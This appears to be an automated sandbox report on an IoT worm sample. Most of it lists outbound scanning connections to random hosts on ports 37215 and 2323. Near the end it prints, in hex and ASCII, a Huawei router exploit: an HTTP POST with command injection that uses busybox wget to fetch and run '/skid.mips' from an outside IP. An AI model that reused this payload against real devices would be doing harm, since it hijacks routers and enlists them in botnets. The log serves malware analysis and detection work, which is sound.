Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.158.111.235:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.91.153.27:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.83.197.228:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.197.209.77:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.7.6.195:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.28.251.186:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.139.211.115:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.23.150.196:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.70.65.31:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.195.255.201:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.18.75.129:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.77.215.2:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.106.150.96:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.96.213.218:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.10.80.105:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.60.18.84:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.253.165.24:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.28.159.181:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.206.42.236:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.56.147.18:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.120.245.227:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.233.223.215:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.118.66.78:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.155.153.111:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.233.200.122:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.95.209.1:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.192.158.28:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.7.56.100:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.88.247.163:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.54.244.143:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.77.166.47:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.146.211.154:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.190.131.213:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.151.83.159:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.82.125.210:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.4.12.75:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.69.52.220:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.215.144.28:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.51.223.83:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.247.194.104:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.19.254.27:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.40.90.154:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.162.67.105:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.238.249.176:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.197.151.240:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.70.97.195:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.66.143.70:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.121.101.40:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.0.192.83:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.241.36.155:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.153.43.64:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.176.177.109:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.3.90.222:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.168.192.10:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.149.4.227:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.2.20.206:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.124.8.201:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.42.151.207:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.182.118.195:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.195.89.28:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.76.205.102:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.101.137.176:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.142.54.248:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.142.210.229:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.90.79.130:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.146.7.123:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.51.12.235:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.143.141.35:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.115.126.230:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.78.216.164:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.46.135.73:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.221.120.236:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.252.15.148:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.88.213.53:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.159.38.104:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.60.8.216:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.105.23.197:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.122.173.119:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.226.205.7:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.164.150.70:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.87.103.155:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.177.244.97:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.118.193.24:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.249.126.153:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.223.136.215:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.120.82.177:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.74.66.67:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.134.61.193:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.174.252.101:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.243.14.181:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.68.2.125:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.80.135.173:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.187.197.107:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.66.252.167:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.4.55.34:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.74.116.155:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.91.174.126:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.145.36.22:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.35.34.98:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.83.242.7:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.224.41.182:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.248.110.31:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.183.87.203:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.201.23.65:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.127.10.2:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.255.166.255:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.97.36.205:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.51.127.105:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.102.195.121:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.183.123.90:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.79.18.126:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.128.209.51:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.89.160.247:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.173.162.183:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.18.58.30:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.106.39.20:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.184.233.163:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.147.211.213:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.69.93.25:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.229.149.56:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.205.187.249:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.108.9.123:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.243.164.198:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.69.249.104:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.122.117.187:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.31.10.248:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.237.46.255:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.149.210.34:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.246.143.168:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.83.135.137:37215
Source: global traffic	TCP traffic: 192.168.2.14:61398 -> 175.102.109.232:2323
Source: global traffic	TCP traffic: 192.168.2.14:61398 -> 93.110.2.56:2323
Source: global traffic	TCP traffic: 192.168.2.14:61398 -> 223.90.99.200:2323
Source: global traffic	TCP traffic: 192.168.2.14:61398 -> 146.201.98.45:2323
Source: global traffic	TCP traffic: 192.168.2.14:61398 -> 47.204.232.6:2323
Source: global traffic	TCP traffic: 192.168.2.14:61398 -> 72.71.181.47:2323
Source: global traffic	TCP traffic: 192.168.2.14:61398 -> 96.68.44.183:2323
Source: global traffic	TCP traffic: 192.168.2.14:61398 -> 148.24.31.123:2323
Source: global traffic	TCP traffic: 192.168.2.14:61398 -> 109.151.6.52:2323
Source: global traffic	TCP traffic: 192.168.2.14:61398 -> 157.145.6.81:2323
Source: global traffic	TCP traffic: 192.168.2.14:61398 -> 77.120.8.9:2323
Source: global traffic	TCP traffic: 192.168.2.14:61398 -> 2.43.182.199:2323
Source: global traffic	TCP traffic: 192.168.2.14:61398 -> 154.172.114.85:2323
Source: global traffic	TCP traffic: 192.168.2.14:61398 -> 176.151.41.96:2323
Source: global traffic	TCP traffic: 192.168.2.14:61398 -> 37.13.131.197:2323
Source: global traffic	TCP traffic: 192.168.2.14:61398 -> 130.94.19.62:2323
Source: global traffic	TCP traffic: 192.168.2.14:57992 -> 154.216.17.9:56999
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.5.65.103:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.150.61.72:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.99.124.37:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.119.21.203:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.79.169.4:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.60.205.144:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.67.110.230:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.89.37.118:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.99.246.34:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.138.84.192:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.206.96.163:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.180.58.253:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.229.186.220:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.226.194.179:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.139.158.191:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.210.44.233:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.175.207.136:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.201.238.246:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.85.183.189:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.52.174.50:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.158.83.113:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.17.186.253:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.170.123.35:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.132.30.188:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.198.169.113:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.194.34.222:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.234.152.134:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.225.151.149:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.125.78.47:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.196.237.33:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.84.239.116:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.9.222.229:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.177.204.221:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.214.35.214:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.216.133.161:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.158.198.40:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.75.95.48:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.112.240.90:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.67.69.204:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.207.104.124:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.214.215.249:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.124.36.83:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.241.250.246:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.2.95.20:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.96.92.153:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.215.168.4:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.220.115.179:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.241.3.212:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.145.206.32:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.217.74.217:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.232.216.53:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.65.44.253:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.118.71.208:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.22.69.25:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.136.242.8:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.123.254.171:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.151.233.217:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.10.5.237:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.253.137.119:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.26.78.192:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.219.94.196:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.0.151.175:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.91.92.162:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.146.250.201:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.160.206.248:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.29.159.181:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.98.6.152:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.13.53.5:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.32.47.23:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.44.96.72:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.169.168.176:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.108.18.57:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.116.146.79:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.108.116.67:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.244.44.179:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.167.138.167:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.98.186.58:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.128.53.212:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.137.129.225:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.202.196.193:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.108.110.80:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.90.36.34:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.231.97.52:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.95.239.189:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.42.6.81:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.58.229.117:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.116.228.170:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.106.31.101:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.178.197.107:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.209.203.187:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.53.18.63:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.226.127.182:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.21.187.80:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.209.162.103:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.74.155.183:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.45.165.32:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.218.151.70:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.141.113.121:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.115.169.96:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.9.49.106:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.84.121.52:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.12.183.66:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.175.71.81:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.113.154.68:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.52.196.233:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.97.122.146:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.153.83.250:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.148.25.151:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.46.53.169:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.240.242.22:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.158.14.71:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.3.222.193:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.86.188.172:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.189.168.243:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.88.39.9:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.39.23.209:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.44.227.23:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.190.71.95:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.151.199.82:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.105.22.195:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.221.29.42:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.155.147.28:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.61.203.75:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.176.4.128:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.234.175.174:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.124.13.62:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.202.174.153:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.252.202.94:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.28.168.62:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.81.28.179:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.240.222.87:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.74.211.1:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.39.190.188:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.137.40.202:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.175.48.74:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.170.187.126:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.83.20.241:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.185.96.197:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.195.3.220:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.111.116.69:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.178.174.105:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.169.1.160:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.31.218.172:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.133.85.214:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.123.250.251:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.37.14.109:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.233.198.210:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.236.179.181:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.94.142.206:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.87.11.253:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.71.67.34:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.229.53.104:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.66.20.224:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.99.69.120:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.243.188.108:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.111.178.221:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.39.210.77:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.17.109.18:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.3.222.249:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 41.64.162.163:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.158.222.92:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 197.85.104.216:37215
Source: global traffic	TCP traffic: 192.168.2.14:61142 -> 156.235.190.74:37215

Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 